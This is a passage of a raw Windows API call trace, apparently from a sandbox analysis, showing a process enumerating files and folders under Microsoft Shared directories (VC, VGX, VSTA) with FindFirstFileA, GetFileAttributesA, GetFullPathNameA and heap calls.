lpFindFileData=0x9baed0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa0004713, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85e523, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b77ba12, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.332] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xabcaac1e, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85f935, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xabcaac1e, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="amd64", cAlternateFileName="")) returned 1 [0199.332] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6affe800, ftCreationTime.dwHighDateTime=0x1cbd078, ftLastAccessTime.dwLowDateTime=0xc8458b03, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x6affe800, ftLastWriteTime.dwHighDateTime=0x1cbd078, nFileSizeHigh=0x0, nFileSizeLow=0xc3350, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0199.332] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ee33900, ftCreationTime.dwHighDateTime=0x1cc11a1, ftLastAccessTime.dwLowDateTime=0xa002a840, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x9ee33900, ftLastWriteTime.dwHighDateTime=0x1cc11a1, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdia80.dll", cAlternateFileName="")) returned 1 [0199.332] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1096c400, ftCreationTime.dwHighDateTime=0x1cbfe3c, ftLastAccessTime.dwLowDateTime=0x2b77ba12, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x1096c400, ftLastWriteTime.dwHighDateTime=0x1cbfe3c, nFileSizeHigh=0x0, nFileSizeLow=0xa3950, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0199.332] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1096c400, ftCreationTime.dwHighDateTime=0x1cbfe3c, ftLastAccessTime.dwLowDateTime=0x2b77ba12, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x1096c400, ftLastWriteTime.dwHighDateTime=0x1cbfe3c, nFileSizeHigh=0x0, nFileSizeLow=0xa3950, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0199.332] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0199.333] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\amd64" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc\\amd64")) returned 0x30 [0199.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38878d8 | out: hHeap=0x2ad0000) returned 1 [0199.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0199.333] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\msdia100.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc\\msdia100.dll")) returned 0x20 [0199.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc60 | out: hHeap=0x2ad0000) returned 1 [0199.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0199.334] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\msdia80.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc\\msdia80.dll")) returned 0x20 [0199.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0199.334] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\msdia90.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0199.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0199.335] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\msdia100.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\msdia100.dll", lpFilePart=0x9bada4*="msdia100.dll") returned 0x44 [0199.335] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\msdia80.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\msdia80.dll", lpFilePart=0x9bada4*="msdia80.dll") returned 0x43 [0199.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0199.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0199.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0199.336] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0199.336] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\msdia90.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\msdia90.dll", lpFilePart=0x9bada4*="msdia90.dll") returned 0x43 [0199.336] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0199.336] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\amd64\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xabcaac1e, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85f935, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xabcaac1e, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0199.336] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xabcaac1e, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85f935, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xabcaac1e, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.337] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a678100, ftCreationTime.dwHighDateTime=0x1cc1191, ftLastAccessTime.dwLowDateTime=0xabcd0d23, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x6a678100, ftLastWriteTime.dwHighDateTime=0x1cc1191, nFileSizeHigh=0x0, nFileSizeLow=0xdf600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msdia80.dll", cAlternateFileName="")) returned 1 [0199.337] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a678100, ftCreationTime.dwHighDateTime=0x1cc1191, ftLastAccessTime.dwLowDateTime=0xabcd0d23, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x6a678100, ftLastWriteTime.dwHighDateTime=0x1cc1191, nFileSizeHigh=0x0, nFileSizeLow=0xdf600, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msdia80.dll", cAlternateFileName="")) returned 0 [0199.337] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0199.337] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\amd64\\msdia80.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc\\amd64\\msdia80.dll")) returned 0x20 [0199.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2618 | out: hHeap=0x2ad0000) returned 1 [0199.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0199.338] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\amd64\\msdia80.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC\\amd64\\msdia80.dll", lpFilePart=0x9bada4*="msdia80.dll") returned 0x49 [0199.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0199.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0199.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0199.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0199.338] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb8602cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f79d0 [0199.338] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb8602cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.339] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x14b8a29e, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0199.339] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x14b8a29e, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0199.339] FindClose (in: hFindFile=0x10f79d0 | out: hFindFile=0x10f79d0) returned 1 [0199.339] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VGX\\VGX.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0199.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0199.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0199.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0199.340] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VGX\\VGX.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VGX\\VGX.dll", lpFilePart=0x9bada4*="VGX.dll") returned 0x40 [0199.340] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0199.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0199.341] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0199.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0199.341] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e4284c2, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f76d0 [0199.341] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e4284c2, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.341] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0491a3, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="AppInfoDocument", cAlternateFileName="APPINF~1")) returned 1 [0199.341] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e47494b, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a7e2a6f, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Pipeline.v10.0", cAlternateFileName="PIPELI~1.0")) returned 1 [0199.342] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x163c7, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="VSTOFiles.cat", cAlternateFileName="VSTOFI~1.CAT")) returned 1 [0199.342] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x163c7, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="VSTOFiles.cat", cAlternateFileName="VSTOFI~1.CAT")) returned 0 [0199.342] FindClose (in: hFindFile=0x10f76d0 | out: hFindFile=0x10f76d0) returned 1 [0199.342] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\AppInfoDocument" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument")) returned 0x10 [0199.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a28d8 | out: hHeap=0x2ad0000) returned 1 [0199.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0199.343] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\pipeline.v10.0")) returned 0x10 [0199.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0199.343] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\VSTOFiles.cat" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\vstofiles.cat")) returned 0x20 [0199.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0199.344] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0199.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0199.344] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\VSTOFiles.cat", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\VSTOFiles.cat", lpFilePart=0x9bada4*="VSTOFiles.cat") returned 0x47 [0199.344] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\AppInfoDocument\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0491a3, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0199.344] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0491a3, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.345] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8744779b, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0x4a0491a3, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x8746da27, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x25b9, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="AddIns.store", cAlternateFileName="ADDINS~1.STO")) returned 1 [0199.345] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ab761b2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="MICROS~1.APP")) returned 1 [0199.345] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ab761b2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="MICROS~1.APP")) returned 0 [0199.345] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0199.345] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\AppInfoDocument\\AddIns.store" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument\\addins.store")) returned 0x20 [0199.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2c18 | out: hHeap=0x2ad0000) returned 1 [0199.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0199.346] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta\\appinfodocument\\microsoft.visualstudio.tools.office.appinfodocument")) returned 0x10 [0199.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8278 | out: hHeap=0x2ad0000) returned 1 [0199.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0199.347] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\AppInfoDocument\\AddIns.store", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\AppInfoDocument\\AddIns.store", lpFilePart=0x9bada4*="AddIns.store") returned 0x56 [0199.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0199.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0199.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0199.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0199.347] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\AppInfoDocument\\Microsoft.VisualStudio.Tools.Office.AppInfoDocument\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ab761b2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f78d0 [0199.347] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ab761b2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.348] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x22090, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0199.348] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x22090, dwReserved0=0x9bab4c, 